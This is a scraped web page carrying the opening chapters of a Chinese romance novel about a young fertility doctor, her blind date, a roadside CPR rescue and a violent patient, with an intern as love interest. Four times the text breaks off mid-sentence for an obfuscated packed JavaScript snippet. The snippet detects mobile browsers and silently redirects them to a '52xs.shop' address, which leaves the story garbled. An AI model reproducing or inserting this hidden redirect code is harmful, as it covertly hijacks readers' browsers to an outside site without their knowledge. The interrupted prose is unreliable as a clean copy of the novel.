《医院不治恋爱脑》 1. 实习生 早上六点半。 江明月在听见闹铃的那一刻就迅速爬了起来。 十五分钟,洗脸刷牙换好衣服,简单扎了个马尾,下楼。 厨房里,孙静一边哼着歌,一边做早饭。 听见女儿下楼的动静,孙静哼曲儿的声音一顿,回首望向江明月,神色诧异:“今天不是礼拜天吗?你还要上班?” 江明月“嗯”了声:“今天上午有五个取卵,一个移植。” 自从她进了生殖科,手术时间就完全跟着病人的生理周期来,周末节假日做手术已经是家常便饭了。 孙静关了煤气灶的火,将蒸锅里的烧麦一个个夹到盘子里。 她手上动作不停,嘴里也在念叨:“你一天天地忙活着帮别人生孩子,什么时候自己也能生一个?你也不小了啊!你看看跟你差不多大的人,不说个个都有小孩,起码都有对象了呀。你再看看你自己,一天到晚就知道工作,自己的终身大事从来不操心,你是不知道,我每天晚上想到这个,连觉都睡不好。” 孙静隔三差五就要这样催婚一次,话术内容基本不变,就像有固定模板一样,每次都是先指出江明月未婚未育的事实,然后以同龄人的情况进行比较,最后再表明一下自己焦虑的心境。 江明月早就听习惯了,左耳进右耳出,根本不往心里去,随口应和了两声:“这个简单,我这就去实验室里找个顺眼的胚胎给自己移植,保证明年给你生个孩子出来。” 孙静怔了一下,旋即提高音量:“江明月!我跟你说正经的呢!” 听母亲连名带姓喊自己了,江明月立马不吱声了。 “对了,你舅妈给你介绍了一个人,说各方面条件都蛮好的,你今天什么时候下班?我帮你约个时间,你去见见。” 江明月一脸拒绝:“别了吧,舅妈上次介绍的那个,一坐下就开始吸烟,差点没把我熏死。” 孙静连忙说:“这次这个我特意问过了,不吸烟,而且人很沉稳的。你反正闲着也是闲着,去见见面又不会少块肉。” 江明月深知,她要是不答应,她妈能一直劝下去。于是松了口:“我下午应该有空。” 孙静立马露出笑容:“那行,我跟你舅妈约个时间,到时候发你微信。” 江明月没吭声,走到电梯边换鞋,“我上医院去了。” “哎,等等!早饭还没吃呢!” 孙静一边喊,一边手忙脚乱地拿保鲜袋装了两个烧麦,又从冰箱里抓了瓶鲜牛奶,一路小跑,将手里的食物塞给江明月。 “你拿着,到单位吃。” 江明月应了声,转身进电梯,去地下车库。 孙静看着她的背影。 墨黑的长发松松地束成低马尾,身上是一条无袖杏色长裙,脚下就踩了双洞洞鞋。周身没有一样首饰。 孙静真是恨铁不成钢,自顾自念叨着:“也不知道给自己打扮打扮,白给她生那么好看一张脸。” - 一上午的忙碌结束,江明月从手术室出来,倒了杯水,一边喝一边看手机。 母亲给她发了微信。 【孙静:说好了,下午一点,在清松咖啡馆见面,十号桌。】 【江明月:好的。】 【孙静:你手术做完了?回来换身衣服,化个妆再去】 【江明月:……好的。】 江明月正打算走,刚好科室主任郑观海带着两个年轻人走了过来。 江明月脚步一顿,笑着打招呼:“主任。” 她说着,下意识看了眼郑观海身后那两个年轻人。 两个男生,年纪不大,都穿着白大褂,没戴胸牌,估计是某个医学院安排过来实习的。 果不其然,郑观海朝她颔首,随即便向她介绍:“小江啊,这两个都是新来的实习生,这段时间就让他们跟着你学。” 江明月自然答应。 科里每年都有很多医生来实习或者规培,郑主任既要忙临床,又要忙科研,还要忙教学,根本无暇分身,一般都把人送到江明月这儿。 这些人名义上的带教老师是郑观海,实际上负责言传身教的人是江明月。 不过,除了研究方向是生殖医学的,其余实习医生最多在他们科里待两周,然后就会轮转到别的科室继续学习。时间不长,江明月也不觉得麻烦。 郑观海又转头跟两个年轻人介绍:“她就是我刚刚跟你们说的江医生,今年已经升了主治,也是我们医院目前最年轻的主治,专业水平相当不错,你们好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640837|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好学,肯定会有收获。” 其中一名年轻人的视线越过郑观海,落到江明月身上,喊了一声:“师姐。” 很清朗的嗓音。 江明月循声望过去。 视线交汇的瞬间,青年眼尾微弯,轻轻一笑,自报姓名:“我叫沈归时。” 另一人忙跟着说:“江师姐,我叫宋远。” 几人互相加了微信。郑观海见他们彼此认识了,随口提了句:“小江,你待会儿要是有空,就带他们两个楼上楼下转转,熟悉一下环境。” 海大附院的生殖医学中心是全院的王牌科室之一,占据单独一栋楼,地方挺大,上下总共五层。 江明月笑了笑:“今天不巧,我没时间,家里给我安排了一个相亲。” 郑观海立马说:“相亲好!谈恋爱是大事!准备在哪儿见面啊?” “就在医院对面的清松咖啡馆。”江明月答道。 郑观海比她还着急,“那你抓紧去,这个不能耽误。” 江明月应了声,拎着包走了。 郑观海把俩实习生也打发走了,让他们明天周一再来跟班学习。 离开了科室大主任的威压辐射范围,宋远整个人放松了不少,忍不住同身边的沈归时闲聊起来。 “早就听说附院有个江师姐,人美心善,传言诚不欺我,真挺漂亮的,嘿嘿。” 沈归时淡淡转眸瞥了眼宋远。 他身量很高,比宋远高出小半个头,这一眼瞥过去很有几分居高临下的审视意味。 宋远毫无察觉,接着说:“沈哥,我们接下来去哪儿?回学校还是去哪里转转?” 沈归时忽然问:“喝咖啡吗?” 宋远摇头:“不喝。不爱喝那玩意儿。” “我请你。” 宋远一秒反悔:“我喝,谢谢沈哥。” 沈归时打开手机地图看了眼,步伐加快。 宋远追上来,话痨的毛病又犯了:“原来你喜欢喝咖啡啊?平时在宿舍怎么没见你喝过。不过我上次看了篇论文,说黑咖搭配运动有利于减脂。对了,我们去哪儿喝?” 沈归时将手机界面给他看。 导航显示,再步行13分钟即可抵达目的地——清松咖啡馆。 2. 相亲 江明月遵照老母亲的吩咐,回家换了条剪裁得体的连衣裙,鞋子也换成了细高跟鞋。脸上的妆容淡雅精致,长发盘成了低丸子头,搭配珍珠发卡。一眼看去,优雅甜美,艳光照人。 孙静满意点头,拿出一条钻石项链给江明月戴上。 “月月呀,女孩子还是要打扮的呀,你看你这么稍微一打扮,马上光彩夺目得不得了。待会儿就让老赵送你去吧。那个男孩子你要是看得满意,你就让他送你回来,不满意的话,再喊老赵来接你。” 江明月没什么异议,点头说:“知道了。” 今天是周末,又是雨天,路上有些堵。江明月抵达咖啡馆的时候,已经迟到了五分钟。 她落座后,跟对面的男生说了声“不好意思”,解释说是因为堵车耽误了一会儿,为表歉意,想喝什么她来请。 接着两人简单交换了一下情况。 男生叫陈子硕。两人家庭情况相似,都是海城本地人,都是独生子女,家中都是父亲在外经商办企业,母亲做家庭主妇。 陈子硕越聊越兴奋,眼睛都快黏在江明月身上了:“江小姐,没想到我们这么般配,简直是天作之合。” 江明月心说,那可未必。 不说别的,就说陈子硕这个身材吧,大概有她两倍那么宽,体重至少二百斤朝上了。 江明月不由想起母亲说这位相亲对象“人很沉稳的”。 真没骗她啊……确实又沉又稳。 陈子硕又问:“江小姐,你对未来有什么规划吗?” 江明月说:“有机会的话,再去读个博士,争取在35岁之前评上副高。” “你还要读博?”陈子硕连忙劝阻,“不行,女生还是要以家庭为重,学历再高有什么用?” 江明月隐隐觉得今天这个妆算是白化了。不过她依旧保持着礼貌的微笑,心平气和地解释:“当然有用。我们医院竞争很激烈的,不管是评优还是晋升,学历都是非常重要的考虑因素。” 海大附院是全国顶尖的省级三甲医院,这两年招聘新医生,学历要求那一栏,清一色的“博士及以上”。还好她毕业早,不然现在连报考资格都没有。 陈子硕恍然:“哦对,你不说我都忘了,你是医生。那我以后生病了,是不是可以去找你看病啊?” 江明月怔了一下,说:“我是生殖科的。” 见对面没有反应,她又说得通俗了一些:“就是治不孕不育的。” 陈子硕尴尬地笑了两声:“呵,呵呵,那还是不找你看病了。呃……我的意思是,我那方面肯定没问题。” 说完,陈子硕还用有些暧昧的眼神看着江明月:“以后你就知道了。” 知道个鬼! 江明月被这个眼神盯着,实在是生理不适,端起面前的咖啡杯猛灌了两口。 “江小姐,你是不是有点渴?要不我再给你点一杯?”陈子硕把扫码点单的桌牌推到江明月面前,“你看看还想喝什么。还有甜品你没有想吃的?听说这家甜品不便宜,不过没关系,我请你。” 江明月拿出手机,假装扫了一下点单二维码,随后疯狂给崔晚晚发消息。 【晚晚!】 【救命!】 【相亲遇到奇葩了!】 【快给我打个电话!】 【你懂的!!!】 对面的人依旧喋喋不休,“对了,江小姐,你是喜欢男孩还是女孩?我这个人是没有重男轻女思想的,以后我们就要一个男孩一个女孩,你觉得怎么样?” 江明月嘴角抽动,已经彻底挂不住礼貌的微笑了。好在这时手机铃声响起,崔晚晚的电话打过来了。 “喂,明月你在哪儿呢?”崔晚晚在电话里问。 江明月报了地址。 崔晚晚说:“我这儿临时有点急事,要请你来帮个忙。” 江明月忍住笑,神情关切:“啊?有急事?” 崔晚晚说:“对对,很急,我刚好在附近,马上来接你,等我,五分钟就到。” “好。” 挂了电话,江明月适时地展露出抱歉的神色,客客气气地说:“不好意思,我朋友临时有急事找我,我先走一步,失陪。咖啡的钱我已经付过了,陈先生,你请自便。” 她说完也不等对方回应,站起来转身就走。 “等等!”陈子硕追了上来。 江明月听见喊声,头也不回,步伐加快。 咖啡店是临街的,街道两旁栽满了梧桐树。这会儿雨已经停了,经雨水洗刷过的枝叶翠意深浓。 陈子硕一路追出了咖啡店,左右张望,很快发现了立在梧桐树下的江明月。 他快步冲过去,拉住了江明月的手,诚恳道:“江小姐,你去哪里,我送你。” 江明月试着把手抽出来,奈何陈子硕攥得紧紧的。她不着痕迹地蹙眉:“不用了,我朋友来接我,马上到。” 陈子硕面露憾色,又问:“我还没有你的联系方式呢,可以加个微信吗?” “今天时间仓促,下次吧。”江明月抬起那只被紧紧握着的手,示意,“你先放开我好吗?” 陈子硕没松手。 就在这时,一只修长干净的手伸了过来,掌心扣住陈子硕的手腕,用力往上一提。 陈子硕猝不及防,下意识松开手指。 江明月那只手总算摆脱了钳制。 “喂你谁啊你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640838|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小沈?” 陈子硕和江明月同时开口。 江明月已经认出来了。这不是上午那俩新来的实习医生之一嘛。如果她没有记错,这人叫沈归时。 沈归时扯着陈子硕退后,和江明月隔出好一段距离,这才喊道:“师姐。” “你好。”江明月打了招呼,往他过来的方向看了眼,迟疑问道,“你也来这儿喝咖啡?” 这家咖啡馆算是网红店,店里每时每刻都坐满了人,刚刚在店里的时候,她并未注意到沈归时。 沈归时望向她:“我来这儿等人。” 雨后初晴的阳光穿过枝繁叶茂的梧桐树,细细碎碎地落在他身上。他的眼底仿佛也沾着细碎的光影,显得眸光格外干净柔和。 “等人?” 沈归时眉目沉静,说话间唇颊微动,仿佛藏匿了隐约浅淡的笑意:“嗯,已经等到了。” 江明月没再细问。 想到这个实习生刚刚目睹了她相亲过程中的一些……不快,她实在尴尬得要命,现在满脑子只有一个念头—— 快逃! 正巧这时,宋远跑了过来,猛地拍了下沈归时的肩膀,大大咧咧地说:“找你好久了沈哥!我就去上了个厕所,回来一看,你人都不见了。” 一抬头看见江明月,宋远兴奋喊道:“江师姐,你也在啊!” 江明月点头微笑。 想必沈归时等的人就是宋远。 她心想。 安静的街道上传来车辆制动的声音。一辆冰莓粉色的帕拉梅拉停在街边。 “明月,上车!”崔晚晚降下车窗,冲江明月疯狂眨眼,“快!有急事!我们走!” 江明月如蒙大赦,迫不及待地跟沈归时几人说了句:“我还有事,先走了。” 她倾身上车,身上是一条黑白撞色的连衣裙,背后有一个绑带交叉的设计,黑色绑带之下,后背肌肤光洁细腻如同白瓷。 沈归时看了几秒,移开视线,但是下一瞬,又忍不住将视线调转回去。 宋远摸出手机看时间,“好家伙!不知不觉都在咖啡店里坐了这么久。咱们要不回宿舍……卧槽,沈哥,你耳朵怎么这么红,该不会中暑了吧!” 沈归时下意识摸了摸耳尖。 烫得惊人。 一旁的陈子硕总算回过神来,指着渐渐驶远的帕梅,问沈归时和宋远:“你们认识?” 宋远正要说话,被沈归时出声截断:“怎么?” 陈子硕满脸堆笑:“把她微信推给我。” 沈归时上下扫视他一眼,那双刚刚还盛满柔光的眼眸里只余淡漠的冷色。 他转身就走,扔下一句:“你做梦。” 3. 哥哥 车上,崔晚晚瞟了眼后视镜,笑着说:“你相亲阵仗挺大啊,三个男的一起相?我看那两个高高瘦瘦的还不错,都挺帅,你要不就从了吧。” “那两个是新来的实习医生,碰巧遇到了。”江明月解释。 “实习医生?还在上学?” “对。” 崔晚晚眼睛都要放光了:“可以啊,清纯男大,你不要我要,请你把他们联系方式都发给我。” “都?” 前面是个急弯,崔晚晚表演了一下单手转方向盘,随后朝江明月勾唇一笑:“广撒网,才能多捞鱼嘛。” 江明月:“……” “你可别乱来。人家是正经大学生,跟你不是一路人。” “你说谁不正经呢!” 两人笑了一阵,继续闲聊。 崔晚晚问:“今天那个相亲对象是怎么回事?” 江明月把相亲过程大致讲了一遍。 崔晚晚“啧”了声,“你还真是体面人,好涵养,换我我可能会把咖啡泼他脸上,让他好好清醒清醒。” 江明月说:“毕竟是亲戚介绍的,不想弄得太难看。” “也是。”崔晚晚说着,忽然指了下路旁,“哎,你看,前面那人是不是喝多了?怎么走路摇摇晃晃的。” 江明月顺着她手指的方向看去。 那是一名长发女性,背影纤细,走在道路的最右侧,步伐微微踉跄。她可能也意识到自己走路不稳了,伸手扶向一旁的电线杆,但下一秒,她整个人就直挺挺地向旁边栽倒下去。 崔晚晚连忙靠边停车。 “我去看看。”江明月没等车完全停下就打开了车门,本能地飞奔过去查看情况。 随后而来的崔晚晚焦急问道:“是不是低血糖?我车上有巧克力。” 晕倒的是个小姑娘,看着不过二十来岁。江明月在她耳边喊了几声,小姑娘毫无反应。伸手按住她颈侧,也没有摸到颈动脉。 江明月立刻跟崔晚晚喊:“快打120!” 崔晚晚见她表情严肃,一刻也不敢耽搁,手忙脚乱地翻出手机拨打120,说了情况报了地址。 转头一看,江明月已经把小姑娘的体位摆正,正在做心肺复苏。 这条路是一条僻静的小道,过了好几分钟都没有人车经过。崔晚晚想找人帮忙都找不到,又怕影响江明月急救,只好蹲在边上干着急。 时间一分一秒地过去。 心肺复苏极耗体力,就这么几分钟的时间,江明月的呼气声明显变得急促,她偏头看了眼崔晚晚,“我快按不动了……你来换我。” “啊?我?”崔晚晚人都傻了,“我不是学医的我不会啊。” 江明月给她示范:“就在,这个位置——用力,按下去,再按下去,这个频率,你来。” 崔晚晚见江明月连说话都断断续续的了,显然几近力竭,只好硬着头皮上。 海大附院要求,所有副高级以下的医生每年都必须要去急诊科轮转,所以江明月对急救操作并不陌生。她知道心肺复苏要动作标准才有效,为了保证心肺复苏的效果,不断换人来按才是最优解。 崔晚晚换下她之后,她才发觉自己后背都是汗。她缓了口气,旁观着崔晚晚的操作,不断出声鼓励:“对对,就是这样,加油晚晚,你在救她的命,你好棒。” 崔晚晚得到了正面反馈,按得更起劲儿了。 很快救护车赶到,小姑娘还没恢复心跳。救护车上下来几名医务人员。把人接手过去,连上仪器。 崔晚晚直接瘫坐在地:“原来心肺复苏这么累,感觉就像在做高强度有氧。” 随车医生问:“家属是吗?一起上车。” 江明月表示她们俩只是恰好路过。她把小姑娘的昏迷前后的状态交代清楚。 “我靠!得亏有你们在!从出车到现在总共9分钟,这个病人如果在这期间得不到任何救治,就算拉到医院抢救过来了,后半辈子大概率也是个植物人。”随车医生忍不住朝江明月和崔晚晚竖起大拇指,“牛!真牛!你俩跟阎王爷抢人呢!” 崔晚晚被夸得飘飘然的,江明月拉着她准备走,她反手把车钥匙塞到江明月手里。 “明月,帮我把车开回去。” 江明月诧异地问:“那你……” “救人救到底嘛,这小姑娘身边也没个同伴,我不放心,我得跟去医院看看。” 崔晚晚大步跨上救护车。 救护车乌拉乌拉渐行渐远,留江明月一人愣在原地。 不过很快,她就从错愕中回神,发动崔晚晚的车子,回家。 - 崔晚晚比江明月小两岁。 两家长辈早年在一起做船舶生意,两人自小相识,感情一直不错。 后来崔、江两家生意越做越大,置换房子的时候,还特意买在了同一个小区。 崔晚晚家在12栋,江明月家在16栋。 江明月把车子开到崔家的停车位,然后步行回家。 孙静知道江明月没让司机去接,心想女儿应该是被相亲对象送回来的,这次相亲应该能成。 江明月到家换了鞋,洗过手,准备回房间洗澡,迎面看见母亲站在不远处,一脸笑眯眯地望着自己。 她看到这个笑容就知道母亲打算问今天相亲的进展。她也没等发问,自己主动一五一十地交代了。 孙静听完,静默半晌,先是干巴巴地笑两声:“今天这个男的,确实是不太行。” 然后也不知道是在安慰江明月还是安慰自己:“月月,你也别灰心,好男人总归有的,我们再相下一个,你还年轻,不着急的。” 江明月眨眨眼:“妈,每次你催我去相亲,就说我年纪不小了。每次相亲不如意,就安慰我还年轻,敢情我这是薛定谔的年龄,随时根据不同情境变化啊。” 孙静没好气地瞪她:“我不管你是什么薛之谦的年龄,反正,三十岁之前,你必须给我带个男人回来。” 江明月失笑,也没去纠正孙静,态度诚恳,但神情敷衍,满口应承道:“行,行行,我这距离三十不是还有两年时间嘛,你别着急呀。”她两手搭在孙静的肩膀上,推着她去楼上卧室,“还有,以后舅妈介绍的人我不见了啊!” - 晚上入睡前,江明月接到崔晚晚打来的电话。 “下午我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640839|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们救的那个小姑娘醒了!她呀,刚从国外回来,在海城转机,连续十几个小时没睡。医生说她是因为过于劳累和睡眠不足,引发了心脏骤停,差一点就没命了。幸亏在第一时间做了高质量的心肺复苏。” 崔晚晚把“高质量”三个字咬得很重,得意而雀跃,“明月,救人的感觉真好啊,这事儿我能拿出去吹一辈子!” 江明月不由被她感染,唇角牵起笑意:“这么晚了,你还在医院?” 崔晚晚说:“我刚从医院出来,那个小姑娘刚醒没多久,她加了我微信,说要把我垫付的医药费转给我。还说等她恢复好,要请我们俩吃饭。” 江明月一愣:“请我们俩?” “对呀,我跟她说了,今天幸好有我们江大夫路过,而且第一时间施救,不然她这辈子就得删号重来了。我嘛,只是个搭把手的,主要还是靠江大夫力挽狂澜呀。先不说了啊,我叫的车到了。” 崔晚晚的车被江明月开走了,现在只好打车回家。 江明月听她噼里吧啦说完,笑着“嗯”了声:“路上小心。” “对了,那个小姑娘叫沈元姝,是北城人。我问她在这儿有没有亲戚朋友,她说只有一个哥哥在海城,现在还在上学。”崔晚晚既庆幸又自得,“现在想想,还好我当时坐救护车跟过去了,不然她连付抢救费的人都没有。” 崔晚晚说完这一段,才意犹未尽地挂了电话。 - 此刻,病房内的沈元姝点开手机通讯录,找到备注为“哥哥”的号码,拨了出去。 电话很快接通。 “哥哥,我到海城了。”沈元姝先开了口。 手机听筒里,传来沈归时极疏淡的一声“嗯”。 空气安静了几秒。 沈元姝忍不住想,哥哥在面对收养他的那家人的时候,也会是这样疏离冷静的态度吗? ——如果那家人还活着的话。 大概是因为迟迟没有等到沈元姝说话,沈归时主动问:“找我有事?” 沈元姝回过神来:“我打算在海城休息一段时间,去你那儿住可以吗?” “我那儿?” “就是爷爷给你买的那套房子,如果不方便……就算了。” 七年前,沈家终于找到了流落在外的沈归时。那一年,沈归时18岁,正在准备高考。沈老爷子高兴坏了,想送沈归时出国读商科,方便以后进家族企业发展。 但沈归时拒绝了。 他坚持要留在海城,报考海大医学院。 于是沈老爷子特意在海城买了一套花园别墅,放在沈归时名下。别墅早就装修好了,平时也有专人负责打理。 沈归时说:“没关系,你去住,那边一直空着。” 他的措辞很客气,带了些距离感,“稍后我把地址发给你。” “好。谢谢哥哥。”听筒里传来敲击键盘的声音,沈元姝忍不住问,“你在忙吗?” 键盘敲击声略微一停。 沈归时说:“在赶一个实验报告。” 沈元姝想说自己今天历经生死,命悬一线,话到嘴边,又咽了下去。 “哦,那……你忙吧。再见。” 4. 一夜三次 周一上午。 今天是门诊日,江明月照例提前十五分钟到诊室准备。 沈归时已经坐在里面了。 “就你一个人?宋远怎么没来?”江明月随口一问。 看到江明月,沈归时就站起来了,一副谦虚礼貌的好学生模样。 “他实验报告没写完,今天请假一天。” 江明月不由问:“那你写完了?” 沈归时点头:“我昨天晚上熬夜写的。” 江明月打量他一眼:“这么卷?” 沈归时迎上她的视线:“跟师姐学习的机会难得,我不想错过。” 行,这回来了个卷王实习生。 江明月默默下了结论。 她提起水壶,准备去开水房接水,发现里面水是满的。 “早上刚灌的热水。”沈归时看见她的动作,解释了一句,又指了指桌上的水杯,“杯子也洗过了。” 可以,非常到位。 江明月坐下来,发现桌上两台电脑也已经开机了。 而笔筒里,插-满了她到处找都找不到的签字笔。 可以说,上班前的一切准备工作都在她来之前做好了。 江明月就还……挺受用。 不过她是师姐,目前还兼具传道授业的任务,得端着点,所以她脸上一派平静,一副习以为常的神色。 心里则迅速把之前所有实习生都回忆了一遍,确信没见过这么细致的。 现在实习医生已经卷到这种地步了吗? 就在这时,诊室的门被推开,江明月下意识就说:“你先等等,过会儿会叫号——” 话未说完,就顿住了。 来人是个外卖小哥,手上捧着一束玫瑰花——准确地说,是一束满天星点缀着几支红玫瑰,花瓣上撒着廉价的金粉,外包装是层层叠叠的黑纱,花束上方还扣着一个做工粗糙的皇冠。 “二诊室江医生。是你吧?”外卖小哥看了看订单信息,又看了看江明月。 “啊……是我。”江明月有些愣神。她想不出谁会忽然买花给她,买的还是这种直男味儿冲天的满天星玫瑰。 “给,你的花。”外卖小哥把玫瑰花往前一递。 沈归时抬步上前,把花接了过来。他脸上没什么表情,眼睫向下轻扫,看不出情绪。但深红的玫瑰就那么被他捧在身前,似乎无端给他赋予了深情款款的气质。 江明月走了过来。花束一角别着一张小卡片,她取下来细看。 【宝贝,爱你】 【陈子硕】 看到这个落款,江明月的心情非常一言难尽。 是她昨天相亲时的态度不够明显吗?这人怎么还送花送到她单位来了。 “先放那儿吧。”江明月指了指一旁放杂物的桌子,打算下了班就把花带到楼下扔了。 - 门诊一直看到将近中午12点,终于闲了下来。 江明月按了按脖颈,鼠标点进医院系统,将上午的电子病历一个个点提交。 这时,敲门声响起,声音很轻,透着几分小心翼翼。 江明月抬眸:“请进。” 一个中年女人探头进来,露出一个抱歉又讨好的笑容:“不好意思啊医生,耽误你们吃午饭了。我之前做的检查报告出来了,能不能帮我看看。” 女人一边说,一边把好几份化验单送到江明月面前。 江明月认出女人是前几天来初诊的病人,备孕好几年了都没有怀上。她接过检查单据一张张细看,在翻到其中一张检查报告时,她手上停了停,抬头问女人:“你老公来了吗?” 生殖科一般都是夫妻双方一起来看。女人忙说:“来了来了,在外面吸烟,我去喊他。” 几分钟后,一个膀大腰圆的中年男人跟着女人走了进来,随之而来的还有一股很重的烟味。 江明月轻轻按紧鼻梁上的口罩。 坐在她身后的沈归时默不作声地将视线从她身上移开,起身走到窗边,开了半扇窗子透气。 江明月说要给男人先进行诊断,让女人出去等一会儿。女人千恩万谢地走了。 诊室内只剩下男人、江明月、沈归时三个人。 江明月这才压着那张检查报告推到男人面前,一项一项地解释给他听,最后总结:“你看,你这几项的检查结果都是零,也就是说,你是无精症。你们夫妻备孕这么多年,一直怀不上,多半就是因为这个。” 男人腾地怒了:“你瞎说什么!老子一晚上能射三次!怎么可能是无精症!” 江明月明显怔了一下,考虑到病人一时难以接受,她放缓语速:“无精症和你的性能力没有什么关系,具体病因可能是先天的,也有可能受后天影响,目前医学上还没有定论。你先别激动,你的心情我理解,但是从检查报告来看,确实是这样一个结果。” 男人猛地一拍桌子,站了起来:“你理解个屁!” 他盯着江明月的胸牌上的“主治医师”看了几秒,不耐烦地说:“你一个年纪轻轻的小医生懂什么!让你们主任过来帮我看!” 江明月说:“你检查报告是这个结果,谁来看都是一样的。” 男人横眉瞪她:“少废话!给我找主任来看!不然我今天就坐在这儿不走了!” 江明月见男人坚持,只好打电话摇人。 郑主任德高望重,她不敢冒昧打搅,思来想去,她打电话给今天同在门诊的副主任医师宋冕。 副主任也是主任嘛。 电话接通后,江明月客客气气地说:“宋主任,我小江啊。你现在有空吗?门诊这儿有个病人能不能帮我看一下?” 宋冕一听这话就知道江明月遇到棘手的病患了。 “好的,马上。” 很快宋冕推门进来,简单了解了一下情况后,便一脸严肃地跟男人解释起病情来。 宋冕四十多岁的年纪,戴着眼镜,有些秃顶,看上去就是那种高年资医术好的大夫。 江明月见他把病人说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640840|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣一愣的,终于松了口气。 她找出饭卡递给沈归时,轻声说:“不早了,你先去食堂吃饭吧。” 实习医生没有工资,也不包食宿。但毕竟帮忙干了活儿。所以江明月一般会把自己的饭卡借给实习医生用,免得他们在医院待一天还要倒贴饭钱。 也因此,江明月在历届来实习的高校医学生中口碑极好。 饭卡的正面右侧印着江明月的证件照,是一张笑意盈盈的脸。沈归时接过卡片,饭卡正面不着痕迹地贴紧手心。 “师姐想吃什么?我帮你打包带回来。” “不用,我一会儿点外卖。” 沈归时点点头,去食堂了。 宋冕絮叨半天,终于把病情和治疗方案跟男人说清楚了,刚准备走,男人忽然伸手拽住他,急迫地问:“医生,真的是我的问题?不是我老婆的问题?” 宋冕都想叹气了。敢情刚刚解释半天都白说了。 出于谨慎,他又把夫妻俩的检查单据拿来翻了一遍,随后斩钉截铁道:“你老婆一点问题都没有,各项指标都挺正常的。” 男人依旧不敢置信,连连摇头说:“不可能,不可能!我们在老家也看过一个老中医,他说是因为我老婆体虚才一直怀不上。” 宋冕见他固执,急得海城方言都冒出来了:“朋友,侬帮帮忙好哇!治病要看化验结果的好不啦。” 男人猛地揪住了宋冕的衣领,大声质问:“你刚刚说什么?是不是在用海城话骂我?早就知道你们海城人瞧不起外地人!是不是看我是外地跑来看病的,故意说我有病,你们好讹钱?” 眼睁睁看着宋冕——副教授,硕士生导师,资深骨干医生——被一个病人像提鸡崽儿一样提着衣领,江明月头皮发麻,连忙上前劝道:“哎!有话好好说,不要动手!” 男人抄起边上那束玫瑰花,直接往江明月身上砸。江明月下意识抬手挡了一下。 下一秒,她就感觉到有尖锐的玫瑰花刺顺着她手臂内侧的肌肤深深划拉下去。 当下,江明月就疼出了一身冷汗。 男人抓握着花束,还想再打,就在这时,诊室的门被推开,门把手重重撞在墙上。沈归时箭步冲过来,手肘从后扣住男人的脖颈,利落一转身,顺势将男人拦腰摔在地上。 男人手中的玫瑰花同样重重摔落在地,花瓣散了一地。 这一切都发生得太快了。 宋冕一手揉着脖子,另一手找手机,深吸一口气,强自镇定道:“保卫科,我来找保卫科。”他发现江明月的手臂还在不断往外渗血,“江医生,你这伤口好像挺深的,得赶紧处理一下。” 江明月痛得直抽气。她也知道伤口不浅,而且伤在小臂内侧,她一个人不方便处理,得找个同事帮自己缝合。 想到现在正值中午,大多同事不是在吃饭就是在午休,她不太好意思开口麻烦别人,最终,她的视线定格在沈归时的身上。 “小沈,一会儿你辛苦一下,帮我缝两针。” 5. 弄疼你了? 被掀翻在地上的男人破口大骂,挣扎着想要爬起来,沈归时游刃有余地按着他。 等在诊室外的女人听见动静,急匆匆地跑了过来,看到江明月的白大褂上鲜明的血迹,再看看被人按在地上的男人,登时泪流满面,哭号道:“你在家打打我就算了,你怎么连医生都打啊……” 江明月想到女人初诊时悄悄跟她说过,因为一直怀不上孩子,老公在家经常打骂她。再想想这夫妻俩的检查结果,她的心情一时复杂难言。 保卫科的人很快赶了过来,要把男人扭送到派出所。女人追上去求情,宋冕显然没忘记刚刚被揪着领子的情形,直接打了报警电话。女人一屁股坐在地上,嚎啕大哭,场面乱成一团。好在民警很快到了,把夫妻两人都带走了。 - 换药室内。 伤在右臂,长度有五厘米,江明月操作不便,全让沈归时来处理。 局麻打下去之后,两人谁也没说话,安安静静地等麻药起效。 江明月在心里把陈子硕骂了无数遍。要不是这人送来一束玫瑰花,她能被玫瑰的尖刺划伤? 